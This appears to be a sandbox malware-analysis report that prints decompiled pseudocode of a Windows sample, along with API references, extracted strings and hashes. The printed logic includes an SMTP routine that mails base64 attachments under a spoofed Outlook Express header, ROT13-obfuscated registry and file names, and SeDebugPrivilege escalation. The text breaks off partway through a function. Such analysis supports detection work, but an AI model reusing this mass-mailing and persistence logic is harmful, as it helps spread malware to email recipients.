			E0040619A(void* __edx, char* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char* _a20, char* _a24, char* _a28, intOrPtr _a32) {
				void* _v16;
				intOrPtr _v40;
				short _v42;
				char _v44;
				char _v1068;
				char _v1132;
				intOrPtr _v1136;
				intOrPtr _v1140;
				intOrPtr _v1144;
				intOrPtr _v1148;
				intOrPtr _v1152;
				intOrPtr _v1156;
				intOrPtr _v1160;
				intOrPtr _v1164;
				void _v1228;
				signed short _v1232;
				signed short _v1234;
				signed short _v1236;
				signed short _v1238;
				signed short _v1240;
				signed short _v1242;
				signed short _v1244;
				int _v1248;
				signed int _v1280;
				signed int _v1284;
				signed int _v1288;
				signed int _v1292;
				intOrPtr _v1296;
				signed int _v1300;
				int _v1304;
				signed short* _v1308;
				char _v1324;
				char _v1328;
				char* _v1336;
				char* _v1340;
				char* _v1344;
				char* _v1348;
				void* __ebx;
				short _t135;
				int _t136;
				char _t137;
				char* _t138;
				void* _t139;
				void* _t141;
				void* _t143;
				void* _t145;
				void* _t146;
				void* _t148;
				void* _t150;
				void* _t152;
				void* _t153;
				void* _t155;
				void* _t156;
				char* _t157;
				void* _t162;
				void* _t164;
				void* _t165;
				void* _t169;
				void* _t170;
				void* _t174;
				void* _t175;
				char* _t178;
				void* _t179;
				intOrPtr _t180;
				char* _t185;
				char* _t187;
				char* _t188;
				void* _t193;
				void* _t194;
				char* _t200;
				void* _t201;
				void* _t202;
				intOrPtr* _t206;
				intOrPtr* _t207;
				intOrPtr* _t211;

				_t193 = __edx;
				_v1300 = 0x400;
				_v1304 = 0;
				_v1308 =  &_v1068;
				L0040C1F0();
				_t194 =  &_v1132;
				asm("cld");
				memset(_t194, 0, 0xc << 2);
				 *((short*)(_t194 + 0xc)) = 0;
				_v1164 = 0x412620;
				_v1160 = 0x412624;
				_v1156 = 0x412628;
				_v1152 = 0x41262c;
				_v1148 = 0x412630;
				_v1144 = 0x412634;
				_v1140 = 0x412638;
				_v1136 = 0x41263c;
				memcpy( &_v1228, 0x40d424, 0xd << 2);
				_v1308 =  &_v1244;
				L0040C438();
				_t206 = _t202 - 0x50c + 0x18 - 4;
				_v1280 = _v1232 & 0x0000ffff;
				_v1284 = _v1234 & 0x0000ffff;
				_v1288 = _v1236 & 0x0000ffff;
				_v1292 = _v1244 & 0x0000ffff;
				_v1296 =  *((intOrPtr*)(_t201 + (_v1242 & 0x0000ffff) * 4 - 0x4c8));
				_v1300 = _v1238 & 0x0000ffff;
				_v1304 =  *((intOrPtr*)(_t201 + (_v1240 & 0x0000ffff) * 4 - 0x488));
				_v1308 = "%s, %d %s %d %d:%d:%d GMT";
				_t135 =  &_v1132;
				 *_t206 = _t135;
				L0040C298();
				_v1304 = 6;
				_v1308 = 1;
				 *_t206 = 2; // executed
				L00408708(); // executed
				_t207 = _t206 - 0xc;
				_t200 = _t135;
				if(_t135 == 0xffffffff) {
					L39:
					_v1324 = _t200;
					L004086C0();
					_t136 = 0;
				} else {
					_v44 = 2;
					_v1324 = 0x19;
					L004086F8();
					_v42 = _t135;
					_t137 = _a4;
					_v1328 = _t137;
					L004086E8();
					_t211 = _t207;
					_v40 = _t137;
					if(_t137 != 0xffffffff) {
						L4:
						_v1324 = 0x10;
						_t138 =  &_v44;
						_v1328 = _t138;
						 *_t211 = _t200; // executed
						L00408710(); // executed
						_t207 = _t211 - 0xc;
						if(_t138 == 0xffffffff) {
							goto L39;
						} else {
							_t139 = E004067E0(0, _t200); // executed
							if(_t139 == 0) {
								goto L39;
							} else {
								_v1336 = _a4;
								_v1340 = "HELO %s\r\n";
								_t185 =  &_v1068;
								_v1344 = _t185;
								L0040C298();
								_t141 = E00406788(_a4, _t200, _t185); // executed
								if(_t141 == 0) {
									goto L39;
								} else {
									_v1336 = _a8;
									_v1340 = "MAIL FROM: <%s>\r\n";
									_v1344 = _t185;
									L0040C298();
									_t143 = E00406788(_a8, _t200, _t185); // executed
									if(_t143 == 0) {
										goto L39;
									} else {
										_v1336 = _a12;
										_v1340 = "RCPT TO: <%s>\r\n";
										_v1344 = _t185;
										L0040C298();
										_t145 = E00406788(_a12, _t200, _t185); // executed
										if(_t145 == 0) {
											goto L39;
										} else {
											_t146 = E00406788(_t145, _t200, "DATA\r\n"); // executed
											if(_t146 == 0) {
												goto L39;
											} else {
												_v1336 = _a8;
												_v1340 = "FROM: <%s>\r\n";
												_v1344 = _t185;
												L0040C298();
												_t148 = E00406746(_a8, _t185, _t200, _t185); // executed
												if(_t148 == 0) {
													goto L39;
												} else {
													_v1336 = _a12;
													_v1340 = "TO: <%s>\r\n";
													_v1344 = _t185;
													L0040C298();
													_t150 = E00406746(_a12, _t185, _t200, _t185); // executed
													if(_t150 == 0) {
														goto L39;
													} else {
														_v1336 =  &_v1132;
														_v1340 = "Date: %s\r\n";
														_v1344 = _t185;
														L0040C298();
														_t152 = E00406746( &_v1132, _t185, _t200, _t185); // executed
														if(_t152 == 0) {
															goto L39;
														} else {
															_t153 = E00406746(_t152, _t185, _t200, "MIME-Version: 1.0\r\n"); // executed
															if(_t153 == 0) {
																goto L39;
															} else {
																_v1336 = _a16;
																_v1340 = "Subject: %s\r\n";
																_v1344 = _t185;
																L0040C298();
																_t155 = E00406746(_a16, _t185, _t200, _t185); // executed
																if(_t155 == 0) {
																	goto L39;
																} else {
																	_t156 = E00406746(_t155, _t185, _t200, "X-Mailer: Microsoft Outlook Express 6.00.2800.1106\r\n"); // executed
																	if(_t156 == 0) {
																		goto L39;
																	} else {
																		_t157 = _a24;
																		_v1344 = _t157;
																		L0040C310();
																		_t207 = _t207 - 4;
																		if(_t157 == 0) {
																			if(E00406746(_t157, _t185, _t200, "Content-type: text/plain; charset=ISO-8859-1\r\n") == 0 || E00406746(_t158, _t185, _t200, "Content-Transfer-Encoding: 8bit\r\n") == 0) {
																				goto L39;
																			} else {
																				_v1340 = _a20;
																				_v1344 = "\r\n%s\r\n";
																				_t186 =  &_v1068;
																				_v1348 =  &_v1068;
																				L0040C298();
																				if(E00406746(_a20,  &_v1068, _t200, _t186) == 0) {
																					goto L39;
																				} else {
																					goto L36;
																				}
																			}
																		} else {
																			_t164 = E00406746(_t157, _t185, _t200, "Content-type: Multipart/Mixed; boundary=xContext\r\n"); // executed
																			if(_t164 == 0) {
																				goto L39;
																			} else {
																				_t165 = E00406746(_t164, _t185, _t200, "\r\n--xContext\r\n"); // executed
																				if(_t165 == 0) {
																					goto L39;
																				} else {
																					if(_a32 == 0) {
																						if(E00406746(_t165, _t185, _t200, "Content-type: text/plain; charset=ISO-8859-1\r\n") == 0) {
																							goto L39;
																						} else {
																							goto L23;
																						}
																					} else {
																						if(E00406746(_t165, _t185, _t200, "Content-type: text/plain; charset=Windows-1251\r\n") == 0) {
																							goto L39;
																						} else {
																							L23:
																							if(E00406746(_t166, _t185, _t200, "Content-Transfer-Encoding: 8bit\r\n") == 0) {
																								goto L39;
																							} else {
																								_v1340 = _a20;
																								_v1344 = "\r\n%s\r\n";
																								_t187 =  &_v1068;
																								_v1348 = _t187;
																								L0040C298();
																								_t169 = E00406746(_a20, _t187, _t200, _t187); // executed
																								if(_t169 == 0) {
																									goto L39;
																								} else {
																									_t170 = E00406746(_t169, _t187, _t200, "\r\n--xContext\r\n"); // executed
																									if(_t170 == 0) {
																										goto L39;
																									} else {
																										_v1340 = _a28;
																										_v1344 = "Content-type: Application/Octet-stream; name=\"%s\"; type:unknown\r\n";
																										_v1348 = _t187;
																										L0040C298();
																										if(E00406746(_a28, _t187, _t200, _t187) == 0) {
																											goto L39;
																										} else {
																											_v1340 = _a28;
																											_v1344 = "Content-Disposition: attachment; filename=\"%s\"\r\n";
																											_v1348 = _t187;
																											L0040C298();
																											_t174 = E00406746(_a28, _t187, _t200, _t187); // executed
																											if(_t174 == 0) {
																												goto L39;
																											} else {
																												_t175 = E00406746(_t174, _t187, _t200, "Content-Transfer-Encoding: base64\r\n\r\n"); // executed
																												if(_t175 == 0) {
																													goto L39;
																												} else {
																													_v1248 = 0;
																													_t178 = E004017F8(_t193, _a24,  &_v1248); // executed
																													_t188 = _t178;
																													_t179 = E00406746(_t178, _t188, _t200, _t178); // executed
																													if(_t179 != 0) {
																														_v1348 = _t188; // executed
																														L0040C430(); // executed
																														_t207 = _t207 - 4;
																														_v1348 = "\r\n\r\n--xContext--\r\n";
																														 *_t207 = _t200; // executed
																														_t161 = E00406746(_t179, _t188); // executed
																														if(_t161 == 0) {
																															goto L39;
																														} else {
																															L36:
																															_t162 = E00406788(_t161, _t200, "\r\n.\r\n"); // executed
																															if(_t162 == 0 || E00406788(_t162, _t200, "QUIT\r\n") == 0) {
																																goto L39;
																															} else {
																																_v1348 = _t200;
																																L004086C0();
																																_t136 = 1;
																															}
																														}
																													} else {
																														_v1348 = _t188;
																														L0040C430();
																														_t207 = _t207 - 4;
																														goto L39;
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					} else {
						_t180 = _a4;
						 *_t211 = _t180; // executed
						L004086D8(); // executed
						_t207 = _t211 - 4;
						if(_t180 == 0) {
							goto L39;
						} else {
							_v40 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t180 + 0xc))))));
							goto L4;
						}
					}
				}
				return _t136;
			}

0x0040619a
0x004061b1
0x004061b9
0x004061c1
0x004061c4
0x004061c9
0x004061cf
0x004061d7
0x004061d9
0x004061de
0x004061e8
0x004061f2
0x004061fc
0x00406206
0x00406210
0x0040621a
0x00406224
0x0040623e
0x00406246
0x00406249
0x0040624e
0x00406258
0x00406263
0x0040626e
0x00406279
0x0040628b
0x00406296
0x004062a8
0x004062ac
0x004062b4
0x004062ba
0x004062bd
0x004062c2
0x004062ca
0x004062d2
0x004062d9
0x004062de
0x004062e1
0x004062e6
0x0040672e
0x0040672e
0x00406731
0x00406739
0x004062ec
0x004062ec
0x004062f2
0x004062f9
0x00406301
0x00406305
0x00406308
0x0040630b
0x00406310
0x00406313
0x00406319
0x0040633b
0x0040633b
0x00406343
0x00406346
0x0040634a
0x0040634d
0x00406352
0x00406358
0x00000000
0x0040635e
0x00406361
0x00406368
0x00000000
0x0040636e
0x00406371
0x00406375
0x0040637d
0x00406383
0x00406386
0x00406392
0x00406399
0x00000000
0x0040639f
0x004063a2
0x004063a6
0x004063ae
0x004063b1
0x004063bd
0x004063c4
0x00000000
0x004063ca
0x004063cd
0x004063d1
0x004063d9
0x004063dc
0x004063e8
0x004063ef
0x00000000
0x004063f5
0x00406400
0x00406407
0x00000000
0x0040640d
0x00406410
0x00406414
0x0040641c
0x0040641f
0x0040642b
0x00406432
0x00000000
0x00406438
0x0040643b
0x0040643f
0x00406447
0x0040644a
0x00406456
0x0040645d
0x00000000
0x00406463
0x00406469
0x0040646d
0x00406475
0x00406478
0x00406484
0x0040648b
0x00000000
0x00406491
0x0040649c
0x004064a3
0x00000000
0x004064a9
0x004064ac
0x004064b0
0x004064b8
0x004064bb
0x004064c7
0x004064ce
0x00000000
0x004064d4
0x004064df
0x004064e6
0x00000000
0x004064ec
0x004064ec
0x004064ef
0x004064f2
0x004064f7
0x004064fc
0x004066b1
0x00000000
0x004066c7
0x004066ca
0x004066ce
0x004066d6
0x004066dc
0x004066df
0x004066f2
0x00000000
0x00000000
0x00000000
0x00000000
0x004066f2
0x00406502
0x0040650d
0x00406514
0x00000000
0x0040651a
0x00406525
0x0040652c
0x00000000
0x00406532
0x00406536
0x00406564
0x00000000
0x00000000
0x00000000
0x00000000
0x00406538
0x0040654a
0x00000000
0x00406550
0x0040656a
0x0040657c
0x00000000
0x00406582
0x00406585
0x00406589
0x00406591
0x00406597
0x0040659a
0x004065a6
0x004065ad
0x00000000
0x004065b3
0x004065be
0x004065c5
0x00000000
0x004065cb
0x004065ce
0x004065d2
0x004065da
0x004065dd
0x004065f0
0x00000000
0x004065f6
0x004065f9
0x004065fd
0x00406605
0x00406608
0x00406614
0x0040661b
0x00000000
0x00406621
0x0040662c
0x00406633
0x00000000
0x00406639
0x00406639
0x00406653
0x00406658
0x00406661
0x00406668
0x0040667a
0x0040667d
0x00406682
0x00406685
0x0040668d
0x00406690
0x00406697
0x00000000
0x0040669d
0x004066f4
0x004066ff
0x00406706
0x00000000
0x0040671c
0x0040671c
0x0040671f
0x00406727
0x00406727
0x00406706
0x0040666a
0x0040666a
0x0040666d
0x00406672
0x00000000
0x00406672
0x00406668
0x00406633
0x0040661b
0x004065f0
0x004065c5
0x004065ad
0x0040657c
0x0040654a
0x00406536
0x0040652c
0x00406514
0x004064fc
0x004064e6
0x004064ce
0x004064a3
0x0040648b
0x0040645d
0x00406432
0x00406407
0x004063ef
0x004063c4
0x00406399
0x00406368
0x0040631b
0x0040631b
0x0040631e
0x00406321
0x00406326
0x0040632b
0x00000000
0x00406331
0x00406338
0x00000000
0x00406338
0x0040632b
0x00406319
0x00406745

APIs

762DC740.USER32 ref: 004062BD
762DC740.USER32 ref: 00406386
762DC740.USER32 ref: 004063B1
762DC740.USER32 ref: 004063DC
762DC740.USER32 ref: 0040641F
762DC740.USER32 ref: 0040644A
762DC740.USER32 ref: 00406478
762DC740.USER32 ref: 004064BB
762DC740.USER32 ref: 0040659A
762DC740.USER32 ref: 004065DD
762DC740.USER32 ref: 00406608
762DC740.USER32 ref: 004066DF

Strings

Content-type: text/plain; charset=ISO-8859-1, xrefs: 00406552, 0040669F
Content-type: Application/Octet-stream; name="%s"; type:unknown, xrefs: 004065D2
Content-type: text/plain; charset=Windows-1251, xrefs: 00406538
Subject: %s, xrefs: 004064B0
--xContext, xrefs: 0040651A, 004065B3
Thu, xrefs: 00406206
Wed, xrefs: 004061FC
Date: %s, xrefs: 0040646D
--xContext--, xrefs: 00406685
Sat, xrefs: 0040621A
., xrefs: 004066F4
MAIL FROM: <%s>, xrefs: 004063A6
TO: <%s>, xrefs: 0040643F
Mon, xrefs: 004061E8
HELO %s, xrefs: 00406375
%s, xrefs: 00406589, 004066CE
Content-Transfer-Encoding: base64, xrefs: 00406621
QUIT, xrefs: 00406708
Content-Disposition: attachment; filename="%s", xrefs: 004065FD
%s, %d %s %d %d:%d:%d GMT, xrefs: 004062AC
Fri, xrefs: 00406210
Content-Transfer-Encoding: 8bit, xrefs: 0040656A, 004066B3
&A$&A(&A,&A0&A4&A8&A<&A, xrefs: 004062A1
---, xrefs: 004061DE
DATA, xrefs: 004063F5
RCPT TO: <%s>, xrefs: 004063D1
X-Mailer: Microsoft Outlook Express 6.00.2800.1106, xrefs: 004064D4
&A, xrefs: 00406234
Sun, xrefs: 00406224
Content-type: Multipart/Mixed; boundary=xContext, xrefs: 00406502
FROM: <%s>, xrefs: 00406414
Tue, xrefs: 004061F2
MIME-Version: 1.0, xrefs: 00406491

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: C740
String ID: --xContext--$%s$--xContext$.$ &A$ &A$&A(&A,&A0&A4&A8&A<&A$%s, %d %s %d %d:%d:%d GMT$---$Content-Disposition: attachment; filename="%s"$Content-Transfer-Encoding: 8bit$Content-Transfer-Encoding: base64$Content-type: Application/Octet-stream; name="%s"; type:unknown$Content-type: Multipart/Mixed; boundary=xContext$Content-type: text/plain; charset=ISO-8859-1$Content-type: text/plain; charset=Windows-1251$DATA$Date: %s$FROM: <%s>$Fri$HELO %s$MAIL FROM: <%s>$MIME-Version: 1.0$Mon$QUIT$RCPT TO: <%s>$Sat$Subject: %s$Sun$TO: <%s>$Thu$Tue$Wed$X-Mailer: Microsoft Outlook Express 6.00.2800.1106
API String ID: 338827393-219272833
Opcode ID: 7510c1c032070805d6ef06775b7fe94ba60b9100971526f10abbc0ca8c33d18d
Instruction ID: 6e52e2717ca3ea0a11f7245c2747809bb71ce8739c615a88298817d05e4ee505
Opcode Fuzzy Hash: 7510c1c032070805d6ef06775b7fe94ba60b9100971526f10abbc0ca8c33d18d
Instruction Fuzzy Hash: 53E12BB44087118AD710AF25D68429EBBF4AF44748F02897EF8C9A7385D77CC9A4CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00404076 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00404076(void* __edx) {
				void* _v16;
				char _v428;
				char _v588;
				char _v748;
				char _v908;
				char _v940;
				char _v944;
				char* _v976;
				int _v980;
				int _v984;
				char _v988;
				int _v992;
				char* _v996;
				int _v1000;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t43;
				void* _t44;
				void* _t49;
				void* _t51;
				void* _t52;
				void* _t53;
				void* _t55;
				void* _t60;
				intOrPtr _t63;
				char* _t84;
				char* _t85;
				void* _t90;
				void* _t92;
				char* _t94;
				void* _t95;
				void* _t97;
				void* _t100;
				intOrPtr* _t101;
				void* _t103;
				intOrPtr* _t107;

				_t90 = __edx;
				E0040B320();
				E0040AEB0();
				_v984 =  &_v428;
				_v988 = 2; // executed
				L004086C8(); // executed
				_t100 = (_t97 - 0x000003cc & 0xfffffff0) - 8;
				_t43 = E00404AB8( &_v428);
				_t108 = _t43;
				if(_t43 != 0) {
					_v996 = 0;
					L0040C2A8(); // executed
				}
				_t44 = E004049EA(_t108); // executed
				if(_t44 != 0) {
					_v996 = 0;
					L0040C2A8();
				}
				_t92 =  &_v940;
				asm("cld");
				memset(_t92, 0, 7 << 2);
				_t101 = _t100 + 0xc;
				 *((short*)(_t92 + 7)) = 0;
				E00404620( &_v908,  &_v908, 0x96, "user32.dll");
				_v992 = "fureinaf.qyy";
				_t94 =  &_v940;
				_v996 = _t94;
				_t49 = E00404C38();
				_v988 = _t94;
				_v992 = 0x96;
				_t84 =  &_v588;
				_v996 = _t84;
				E00404620(_t49);
				_t51 = E00403F24(_t84); // executed
				_t95 = _t51; // executed
				_t52 = E00403D26(_t84); // executed
				if(_t52 != 0) {
					_t53 = E00403E2E(_t84); // executed
					_t91 = 0;
					__eflags = _t53;
					if(_t53 == 0) {
						_t85 =  &_v588;
						_t55 = E00404ED6(_t85); // executed
						__eflags = _t55;
						if(_t55 != 0) {
							__eflags = _t95;
							if(_t95 == 0) {
								_v996 =  &_v588;
								L0040C388();
								_t101 = _t101 - 4;
							}
							E00404C38( &_v748, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Rkcybere\\ihyaiby32\\Irefvba");
							_v992 = "fgngrz";
							_t86 =  &_v940;
							_v996 =  &_v940;
							E00404C38();
							_t58 = E00404812( &_v940,  &_v748,  &_v940); // executed
							_v944 = _t58;
							__eflags = _t58 - 1;
							if(_t58 <= 1) {
								_t58 =  &_v944;
								_v976 =  &_v944;
								_v980 = 0;
								_v984 = 0;
								_v988 = E00403AE0;
								_v992 = 0;
								_v996 = 0; // executed
								L0040C330(); // executed
								_t101 = _t101 - 0x18;
							}
							E00404DF4(_t58, "SeDebugPrivilege"); // executed
							_v996 = 0x7d0; // executed
							L0040C308(); // executed
							_t103 = _t101 - 4; // executed
							_t60 = E0040402C(_t86); // executed
							__eflags = _t60;
							if(_t60 == 0) {
								_v1000 =  &_v588; // executed
								L0040C388(); // executed
								_t103 = _t103 - 4;
							}
							_v996 = "hfonpgvi";
							_t87 =  &_v940;
							_v1000 =  &_v940;
							E00404C38();
							_t63 = E00404812( &_v940,  &_v748, _t87); // executed
							_v944 = _t63;
							__eflags = _t63 - 1;
							if(_t63 == 1) {
								E00406A0A(); // executed
							}
							E00407C4E(_t91); // executed
							L18:
							_v1000 = 0xfa0;
							L0040C308();
							_t103 = _t103 - 4;
							goto L18;
						}
						E00405DC4(0);
						E00405D46(_t85, 0, _t85);
						E00403C44(_t85, _t94, _t95);
						E004056D0(0);
						E004054F2(0, _t85);
						E0040435C(_t85, _t91,  &_v908, _t85);
						_v996 = _t85;
						L0040C388();
						_v1000 = 0xfa0;
						L0040C308();
						_t91 = 0;
					}
				} else {
					E00405DC4(_t90);
					E00405D46(_t84, _t90, _t84);
					E00403C44(_t84, _t94, _t95);
					E004056D0(_t90);
					E004054F2(_t90, _t84);
					E0040435C(_t84, _t90,  &_v908, _t84);
					_v996 = _t84;
					L0040C388();
					_v1000 = 0xfa0;
					L0040C308();
					_t107 = _t101;
					_v1000 = "pgszra.rkr";
					 *_t107 = _t94;
					E00404C38();
					_v1000 = 0;
					 *_t107 = _t94;
					E00405776(_t84);
					_t91 = 0;
				}
				return _t91;
			}

0x00404076
0x0040408a
0x0040408f
0x0040409a
0x0040409e
0x004040a5
0x004040aa
0x004040ad
0x004040b2
0x004040b4
0x004040b6
0x004040bd
0x004040bd
0x004040c2
0x004040c9
0x004040cb
0x004040d2
0x004040d2
0x004040d7
0x004040dd
0x004040e8
0x004040e8
0x004040ea
0x00404108
0x0040410d
0x00404115
0x0040411b
0x0040411e
0x00404123
0x00404127
0x0040412f
0x00404135
0x00404138
0x00404140
0x00404145
0x00404147
0x0040414e
0x004041c5
0x004041ca
0x004041cf
0x004041d1
0x004041d7
0x004041e0
0x004041e5
0x004041e7
0x0040423e
0x00404240
0x00404248
0x0040424b
0x00404250
0x00404250
0x00404264
0x00404269
0x00404271
0x00404277
0x0040427a
0x00404286
0x0040428b
0x00404291
0x00404294
0x00404296
0x0040429c
0x004042a0
0x004042a8
0x004042b0
0x004042b8
0x004042c0
0x004042c7
0x004042cc
0x004042cc
0x004042d6
0x004042db
0x004042e2
0x004042e7
0x004042ea
0x004042ef
0x004042f1
0x004042f9
0x004042fc
0x00404301
0x00404301
0x00404304
0x0040430c
0x00404312
0x00404315
0x00404327
0x0040432c
0x00404332
0x00404335
0x00404337
0x00404337
0x0040433c
0x00404341
0x00404341
0x00404348
0x0040434d
0x00000000
0x0040434d
0x004041e9
0x004041f1
0x004041f6
0x004041fb
0x00404203
0x00404215
0x0040421a
0x0040421d
0x00404225
0x0040422c
0x00404234
0x00404234
0x00404150
0x00404150
0x00404158
0x0040415d
0x00404162
0x0040416a
0x0040417c
0x00404181
0x00404184
0x0040418c
0x00404193
0x00404198
0x0040419b
0x004041a3
0x004041a6
0x004041ab
0x004041b3
0x004041b6
0x004041bb
0x004041bb
0x0040435b

APIs

76683A10.KERNEL32 ref: 004040BD
76683A10.KERNEL32 ref: 004040D2
766857B0.KERNEL32 ref: 00404184
766857B0.KERNEL32 ref: 0040421D
766857B0.KERNEL32 ref: 0040424B
766857B0.KERNEL32 ref: 004042FC

Part of subcall function 00405DC4: 76683A10.KERNEL32 ref: 00405E7E

Strings

fureinaf.qyy, xrefs: 0040410D
Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba, xrefs: 00404253
fgngrz, xrefs: 00404269
hfonpgvi, xrefs: 00404304
pgszra.rkr, xrefs: 0040419B
user32.dll, xrefs: 004040EF
SeDebugPrivilege, xrefs: 004042CF

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 766857$76683
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba$SeDebugPrivilege$fgngrz$fureinaf.qyy$hfonpgvi$pgszra.rkr$user32.dll
API String ID: 1501761231-330933156
Opcode ID: 62c06f15e8a8a4903defcd31abaa162168b736c410436fbf91360ca6e0015f36
Instruction ID: 0cfcdf05f74210d9808c357536bce9e529f0bcd84bc5eb1993387659449c0d65
Opcode Fuzzy Hash: 62c06f15e8a8a4903defcd31abaa162168b736c410436fbf91360ca6e0015f36
Instruction Fuzzy Hash: 67610EB09087048AD710BF75C58625EBAE4AF81308F41997FE9C4776C2DB7C96888F5B

Uniqueness

Uniqueness Score: -1.00%

Function 00401C2C Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 294
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F0A: 766857B0.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: 6F5903B0.WININET ref: 00404F6B

76A3E3A0.WS2_32 ref: 00401F2A

Strings

=-A, xrefs: 00401DCD, 00401E9B
3159, xrefs: 00401CE8
nt: , xrefs: 00401E25
expl, xrefs: 00401E44
-Age, xrefs: 00401E1A
P, xrefs: 00401E93
wer, xrefs: 00401E4F
ost:, xrefs: 00401DB8

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 766857F5903
String ID: -Age$3159$=-A$P$expl$nt: $ost:$wer
API String ID: 3161882108-2239103369
Opcode ID: 06ab13748d89e4fe487ba4cdb763cd4af22c351d731bff1beb7413a24e305e0b
Instruction ID: 99ea3051cc31653010b65aed47ab6d4c6dbc815114f0d374468db723e332898a
Opcode Fuzzy Hash: 06ab13748d89e4fe487ba4cdb763cd4af22c351d731bff1beb7413a24e305e0b
Instruction Fuzzy Hash: 79C186B48043148BD724AF29C58535A7BF1EF85318F2086AEE45C5B7D2CB798D86CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00402288 Relevance: 12.8, Strings: 10, Instructions: 346
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00402288(void* __eax, int _a4) {
				void* _v16;
				char _v76;
				char _v188;
				char _v300;
				char _v508;
				char _v780;
				char _v812;
				char _v1068;
				int _v1072;
				signed int _v1088;
				intOrPtr _v1128;
				int _v1132;
				char _v1136;
				int _v1140;
				intOrPtr _v1148;
				int _v1152;
				char* _v1156;
				void* _v1160;
				char* _v1164;
				void* _v1168;
				void* _v1172;
				void* _v1180;
				void* _v1188;
				void* _v1196;
				char* _v1204;
				signed int _v1208;
				char* _v1212;
				void* _t314;
				char* _t325;
				char _t344;
				char* _t345;
				signed int _t346;
				void* _t347;
				signed int _t348;
				int _t352;
				void* _t353;
				int _t357;
				void* _t359;
				void* _t361;
				intOrPtr* _t363;
				void** _t364;
				intOrPtr* _t368;

				_v1072 = 0;
				_t357 = _a4;
				_v1132 = _t357;
				L0040C310();
				_t361 = _t359 - 0x458;
				_t352 = 0;
				if(__eax <= 0x64) {
					_t344 =  &_v1068;
					_v1128 = 0xfa;
					_v1132 = 0;
					_v1136 = _t344;
					L0040C1F0();
					_v1132 = _t357;
					_v1136 = _t344;
					L0040C320();
					_t363 = _t361 - 8;
					_v1140 = "mvcsv.qyy";
					_t345 =  &_v812;
					 *_t363 = _t345;
					E00404C38();
					_v1136 = _t345;
					_v1140 = 0x104;
					 *_t363 =  &_v780;
					_t314 = E00404620( &_v780);
					 *_t363 = 6;
					_t346 = E00404EAE(_t314);
					 *_t363 = 6;
					_v1088 = E00404EAE(_t315);
					while(_t346 == _v1088) {
						 *_t363 = 0xa; // executed
						L0040C308(); // executed
						_t363 = _t363 - 4;
						_v1088 = _t316;
					}
					_v1136 = 0xc8;
					_v1140 = 0;
					 *_t363 =  &_v508;
					L0040C1F0();
					_v1136 = 0x64;
					_v1140 = 0;
					 *_t363 =  &_v300;
					L0040C1F0();
					_v1136 = 0x64;
					_v1140 = 0;
					 *_t363 =  &_v188;
					L0040C1F0();
					_t353 =  &_v76;
					asm("cld");
					memset(_t353, 0, 0xa << 2);
					_t364 = _t363 + 0xc;
					_v1140 =  *(0x40d0c4 + _t346 * 4);
					_t347 = _t353;
					 *_t364 = _t353;
					L0040C328();
					_v1148 = 0x40ed9b;
					_v1152 = _t347;
					L0040C328();
					_v1156 =  *((intOrPtr*)(0x40d0c4 + _v1088 * 4));
					_v1160 = _t347;
					L0040C328();
					_v1164 = 0x40ed9d;
